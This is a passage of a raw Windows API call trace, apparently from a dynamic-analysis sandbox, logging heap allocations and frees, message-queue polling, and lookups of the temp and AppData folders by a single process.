[0134.270] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9ad0 | out: hHeap=0xe80000) returned 1 [0134.270] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c70 | out: hHeap=0xe80000) returned 1 [0134.270] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf338 | out: hHeap=0xe80000) returned 1 [0134.270] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf348 | out: hHeap=0xe80000) returned 1 [0134.271] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1960 | out: hHeap=0xe80000) returned 1 [0134.271] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d18 | out: hHeap=0xe80000) returned 1 [0134.271] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d00 | out: hHeap=0xe80000) returned 1 [0134.271] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b80 | out: hHeap=0xe80000) returned 1 [0134.271] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b98 | out: hHeap=0xe80000) returned 1 [0134.271] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec17d0 | out: hHeap=0xe80000) returned 1 [0134.271] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2f8 | out: hHeap=0xe80000) returned 1 [0134.271] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b20 [0134.271] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2f8 [0134.271] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2f8 | out: hHeap=0xe80000) returned 1 [0134.271] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf368 [0134.271] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x65600) returned 0x107f3f8 [0134.283] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076dd8 | out: hHeap=0xe80000) returned 1 [0134.283] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf648 | out: hHeap=0xe80000) returned 1 [0134.284] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x107d220 | out: hHeap=0xe80000) returned 1 [0134.284] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055790 | out: hHeap=0xe80000) returned 1 [0134.284] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b38 | out: hHeap=0xe80000) returned 1 [0134.284] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b20 | out: hHeap=0xe80000) returned 1 [0134.285] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec17a8 | out: hHeap=0xe80000) returned 1 [0134.285] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0134.285] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1870 [0134.285] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c58 [0134.285] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2d8 [0134.285] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ac0 [0134.285] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf288 [0134.285] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x65600) returned 0x110c400 [0134.302] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x107f3f8 | out: hHeap=0xe80000) returned 1 [0134.314] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0134.314] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.314] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec17a8 [0134.314] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c10 [0134.314] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0134.314] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d00 [0134.315] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0134.315] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d00 | out: hHeap=0xe80000) returned 1 [0134.315] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c10 | out: hHeap=0xe80000) returned 1 [0134.315] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec17a8 | out: hHeap=0xe80000) returned 1 [0134.315] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.315] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2f8 [0134.315] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2f8 | out: hHeap=0xe80000) returned 1 [0134.315] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.315] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1960 [0134.315] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b20 [0134.315] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0134.315] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0134.316] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b38 [0134.316] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2f8 [0134.316] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2f8 | out: hHeap=0xe80000) returned 1 [0134.316] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b20 | out: hHeap=0xe80000) returned 1 [0134.316] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b38 | out: hHeap=0xe80000) returned 1 [0134.317] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1960 | out: hHeap=0xe80000) returned 1 [0134.317] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.317] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016100 | out: hHeap=0xe80000) returned 1 [0134.317] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.317] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2f8 [0134.317] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0134.317] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055650 [0134.317] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055650 | out: hHeap=0xe80000) returned 1 [0134.317] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0134.317] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2f8 | out: hHeap=0xe80000) returned 1 [0134.318] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015e40 [0134.318] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.318] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015e40 | out: hHeap=0xe80000) returned 1 [0134.318] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.318] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0134.318] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0134.318] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0134.318] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0134.318] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0134.318] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0134.318] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016140 [0134.318] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.319] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016140 | out: hHeap=0xe80000) returned 1 [0134.319] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.319] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2f8 [0134.319] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf338 [0134.319] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055790 [0134.319] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055790 | out: hHeap=0xe80000) returned 1 [0134.319] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf338 | out: hHeap=0xe80000) returned 1 [0134.319] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2f8 | out: hHeap=0xe80000) returned 1 [0134.320] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d40 [0134.320] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0134.320] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec18e8 [0134.320] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b50 [0134.320] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf438 [0134.320] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b50 | out: hHeap=0xe80000) returned 1 [0134.320] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1960 [0134.320] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b80 [0134.320] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c70 [0134.320] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf368 [0134.321] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c70 | out: hHeap=0xe80000) returned 1 [0134.321] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3b8 [0134.321] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b08 [0134.321] CharUpperBuffW (in: lpsz="GETDIR", cchLength=0x6 | out: lpsz="GETDIR") returned 0x6 [0134.321] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b08 | out: hHeap=0xe80000) returned 1 [0134.321] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3b8 | out: hHeap=0xe80000) returned 1 [0134.321] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec17a8 [0134.321] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1) returned 0xeaf2f8 [0134.321] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec17d0 [0134.321] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d18 [0134.321] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf338 [0134.321] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf338 | out: hHeap=0xe80000) returned 1 [0134.321] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076ca0 [0134.321] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec17f8 [0134.321] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076be0 [0134.321] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf338 [0134.321] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c88 [0134.321] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0x1068590 [0134.321] PeekMessageW (in: lpMsg=0xbdf27c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf27c) returned 0 [0134.322] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d90 [0134.322] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf348 [0134.322] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d90 | out: hHeap=0xe80000) returned 1 [0134.322] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf348 | out: hHeap=0xe80000) returned 1 [0134.322] PeekMessageW (in: lpMsg=0xbdf27c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf27c) returned 0 [0134.322] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1898 [0134.322] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d60 [0134.322] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf348 [0134.322] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d60 | out: hHeap=0xe80000) returned 1 [0134.322] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9ad0 [0134.322] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bf8 [0134.322] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ad8 [0134.322] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0134.322] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ad8 | out: hHeap=0xe80000) returned 1 [0134.322] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0134.322] PeekMessageW (in: lpMsg=0xbdf27c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf27c) returned 0 [0134.322] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9a80 [0134.322] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d30 [0134.322] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf378 [0134.322] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b98 [0134.322] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf448 [0134.322] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf448 | out: hHeap=0xe80000) returned 1 [0134.322] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3b8 [0134.322] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3b8 | out: hHeap=0xe80000) returned 1 [0134.323] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c00 [0134.323] PeekMessageW (in: lpMsg=0xbdf27c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf27c) returned 0 [0134.323] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9c10 [0134.323] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d90 [0134.323] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3b8 [0134.323] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d90 | out: hHeap=0xe80000) returned 1 [0134.323] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec2fb0 [0134.323] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bb0 [0134.323] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ad8 [0134.323] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0134.323] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ad8 | out: hHeap=0xe80000) returned 1 [0134.323] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0134.323] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0134.323] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0134.323] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0134.323] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0134.323] PeekMessageW (in: lpMsg=0xbdf27c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf27c) returned 0 [0134.323] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0134.323] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0134.323] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055770 [0134.323] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055770 | out: hHeap=0xe80000) returned 1 [0134.324] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0134.324] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0134.324] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x10162c0 [0134.324] PeekMessageW (in: lpMsg=0xbdf27c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf27c) returned 0 [0134.324] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9df0 [0134.324] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076cb8 [0134.324] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf448 [0134.324] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d48 [0134.324] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bc8 [0134.324] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bc8 | out: hHeap=0xe80000) returned 1 [0134.324] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3c8 [0134.324] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x214) returned 0xefc430 [0134.324] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076b08 [0134.324] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0134.324] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20a) returned 0xefc650 [0134.324] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3e8 [0134.324] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0xbdeb90 | out: lpBuffer="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\") returned 0x25 [0134.325] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d60 [0134.325] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x50) returned 0x104a9e0 [0134.325] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3f8 [0134.325] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefc650 | out: hHeap=0xe80000) returned 1 [0134.325] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0134.325] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0134.325] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076cd0 [0134.325] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d78 [0134.326] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ce8 [0134.326] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3d8 [0134.326] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ce8 | out: hHeap=0xe80000) returned 1 [0134.326] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x50) returned 0x104a618 [0134.326] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0134.326] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x104a9e0 | out: hHeap=0xe80000) returned 1 [0134.326] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0134.326] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d60 | out: hHeap=0xe80000) returned 1 [0134.326] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20a) returned 0xefc650 [0134.326] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3f8 [0134.326] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0xbde970 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0134.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ad8 [0134.334] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0134.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c10 [0134.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b68 [0134.335] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c28 [0134.335] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3e8 [0134.335] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c28 | out: hHeap=0xe80000) returned 1 [0134.335] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x50) returned 0x104aca0 [0134.335] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf598 [0134.335] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefc650 | out: hHeap=0xe80000) returned 1 [0134.336] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0134.336] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ad8 | out: hHeap=0xe80000) returned 1 [0134.336] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20a) returned 0xefc650 [0134.336] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3f8 [0134.336] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d90 [0134.336] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefc650 | out: hHeap=0xe80000) returned 1 [0134.336] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0134.336] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf598 | out: hHeap=0xe80000) returned 1 [0134.336] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ce8 [0134.337] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ad8 [0134.337] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c28 [0134.337] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf4d8 [0134.337] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c28 | out: hHeap=0xe80000) returned 1 [0134.337] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0x1068398 [0134.337] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d90 | out: hHeap=0xe80000) returned 1 [0134.337] PeekMessageW (in: lpMsg=0xbdf27c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf27c) returned 0 [0134.337] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9e68 [0134.337] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c28 [0134.337] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf5d8 [0134.337] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf5d8 | out: hHeap=0xe80000) returned 1 [0134.337] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076af0 [0134.337] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf5d8 [0134.337] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf5d8 | out: hHeap=0xe80000) returned 1 [0134.337] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c28 | out: hHeap=0xe80000) returned 1 [0134.337] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076af0 | out: hHeap=0xe80000) returned 1 [0134.338] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9e68 | out: hHeap=0xe80000) returned 1 [0134.338] PeekMessageW (in: lpMsg=0xbdf27c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf27c) returned 0 [0134.338] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf568 [0134.338] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf568 | out: hHeap=0xe80000) returned 1 [0134.338] PeekMessageW (in: lpMsg=0xbdf27c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf27c) returned 0 [0134.338] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9e90 [0134.338] RtlAllocateHeap (HeapHandle=0xe80000, 